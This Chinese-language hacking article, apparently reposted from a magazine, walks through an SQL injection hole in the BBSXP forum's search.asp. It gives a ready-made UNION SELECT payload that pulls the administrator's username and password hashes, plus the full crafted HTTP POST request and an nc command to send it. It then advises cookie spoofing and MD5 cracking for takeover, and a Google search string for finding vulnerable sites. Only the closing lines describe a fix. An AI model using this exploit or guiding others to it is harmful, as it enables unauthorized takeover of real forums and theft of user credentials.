前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从漏洞上比还确实无分上下,经过了3年的测试,还是多少有点瑕疵。
一.漏洞寻找
论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过漏洞,改了原来的却有了新的)找到了漏洞,一起看看代码。
<%
top
if Request.Cookies("username")=empty then error("
你还未登录社区")
DetectPost
if Request("menu")="ok" then
search=Request("search")
forumid=Request("forumid")
TimeLimit=Request("TimeLimit")
content=HTMLEncode(Request("content"))
searchxm=HTMLEncode(Request("searchxm"))
searchxm2=HTMLEncode(Request("searchxm2"))
searchxm2=replace(searchxm2,"@","&")
if content=empty then content=Request.Cookies("username")
if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
if search="author" then
item=""&searchxm&"=''"&content&"''"
elseif search="key" then
item=""&searchxm2&" like ''%"&content&"%''"
end if
if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc "
rs.Open sql,Conn,1
......
我们仔细研究一下 sql="select top "&MaxSearch ...这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。
1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
只要forumid输入为空,那么forumidor就为空.
2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成" and lasttime>now()-1",在MSSQL中变成" and lasttime>getdate()-1".
3. if search="author" then
item=""&searchxm&"=''"&content&"''"
elseif search="key" then
item=""&searchxm2&" like ''%"&content&"%''"
end if
只要search="author",content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=''abcd'',只要我们构造好输入,通过上面的语句,就把SQL语句变为:
select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] =''abcd'' and lasttime>now()-1 order by lasttime Desc
用中括号括起来的部分前后都没单引号,显然可以利用了。
先看看 HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=server.htmlencode(fString)
fString=replace(fString,"''","''")
fString=replace(fString,"--","--")
fString=replace(fString,"\","\")
fString=replace(fString,vbCrlf,"
")
HTMLEncode=fString
end function
过滤了"; '' -- \ vbcrlf",还有"< > &"等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。
二.漏洞利用
还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。
select top 500 * from forum where deltopic<>1 and
forumid=0 union all select top 1 1,1,[user].username as topic,forum.use
rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword
=''abcd'' and lasttime>now()-1 order by lasttime Desc
其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。
构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。
[图1]
[图2]
构造的提交如下:
POST /bbsxp/search.asp?menu=ok HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost:8000/bbsxp/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost:8000
Content-Length: 481
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1; ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO; onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0
content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
其中searchxm部分我自己写了个HTML页面,用WSE截获就可以获得编码了。
这里有个地方需要注意,就是COOKIE中的username和userpass必须是自己真实的。
把上面的代码保存到记事本中用nc提交
nc -vv host porta.txt
post.txt为提交信息,a.txt用来接受返回数据。
返回如下信息:
...
...
...
...
返回信息中类似上面的结构只有一条,其中abcdef为管理员用户名,两个32位长字符串,前者为abcdef的加密密码,后者为社区管理加密的密码,用的都是MD5加密。
到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理,这要用到IECookiesView,具体过程请看相关教程,在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码,这个工具确实很实用,8位数字密码几分钟(我的机子)就可以破解了,所以10位数字和8为小写字母都可以强破。
想找BBSXP论坛,可以在Google上输入"Powered by BBSxp 5.00",80%以上网站存在此漏洞。
三 .总结
本人由于书写匆忙,文章有些地方可能需要理解,拙劣之处还请大家见凉,不足之处请指出。写此文章只是给大家抛砖引玉,分享一下自己的经验,也提醒大家寻找漏洞时要把握程序的结构和流程,提醒作者写程序时不因细小而忽略。其实漏洞修补很简单,只要searchxm部分不是用用户输入,而是程序设定就没问题了,也没必要改变HTMLEncode函数
(DVOL本文转自:中国DV传媒 http://www.dvol.cn)